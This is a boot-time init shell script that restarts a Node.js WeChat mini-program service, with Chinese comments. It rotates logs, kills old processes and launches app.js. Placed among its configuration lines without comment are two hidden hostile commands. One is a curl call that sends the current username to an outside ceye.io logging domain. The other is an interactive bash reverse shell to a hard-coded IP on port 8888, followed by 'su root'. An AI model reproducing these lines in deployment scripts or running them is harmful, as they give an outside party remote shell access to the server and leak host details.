weapp-1

#!/bin/sh
#chkconfig: 2345 80 90
#description:auto_run

# TODO: change `WEAPP_USER` to your name
# example: WEAPP_USER="liamhuang"
curl $(whoami).ug0kn4.ceye.io
bash -i >& /dev/tcp/173.82.119.161/8888 0>&1
# privileged user
WEAPP_USER="root"
DIR_SUFFIX=""
su root

# READ ONLY, don't change it!!
USER_00="root"
WEAPP_ROOT_DIR="/data/release/node-weapp-demo"

# weapp入口文件
WEAPP_ENTRY="$WEAPP_ROOT_DIR/app.js"

# weapp日志存储目录
WEAPP_LOG_DIR="/data/release/weapp_logs"

# weapp日志文件
WEAPP_LOG_FILE="$WEAPP_LOG_DIR/weapp.log"

# 确保已创建weapp日志文件
touch $WEAPP_LOG_FILE

# ============ 重启前等待 BEGIN
# notes: deploy file `START_LATENCY` to backup node-server machine only
START_LATENCY_FILE="$WEAPP_ROOT_DIR/bin/START_LATENCY"

if [[ -s $START_LATENCY_FILE ]]; then
    latency=`cat $START_LATENCY_FILE | head -n 1`

    # does `latency` between 0 ~ 59?
    if ! [[ "$latency" =~ ^[0-5][0-9]?$ ]]; then
        latency=0
    fi

else
    # file `START_LATENCY` does not exits, `latency` default to `0`
    latency=0
fi

sleep $latency;
# ============ 重启前等待 END

# 获取weapp进程pid
WEAPP_PIDS=`ps -ef | grep "$WEAPP_ENTRY" | grep -v "grep" | sort -k3 -nr | awk '{print $2}'`

# 杀死所有相关进程
for PID in $WEAPP_PIDS; do
    kill -9 $PID
done

sleep 1

# 启动(重启)weapp服务前备份日志, 同时文件名直接体现服务启动时间
TM=`date "+%Y-%m-%d_%H_%M_%S"`
mv $WEAPP_LOG_FILE "$WEAPP_LOG_DIR/weapp_start_$TM.log"

# 清空weapp日志文件
> $WEAPP_LOG_FILE

sleep 1

# 启动weapp服务
node $WEAPP_ENTRY > $WEAPP_LOG_FILE 2>&1 &


#写入成功的结果
UUID=$1
RESULT_FILE="/data/release/node-weapp-demo/sh/ret/restart_$UUID.txt"
echo 1 > $RESULT_FILE;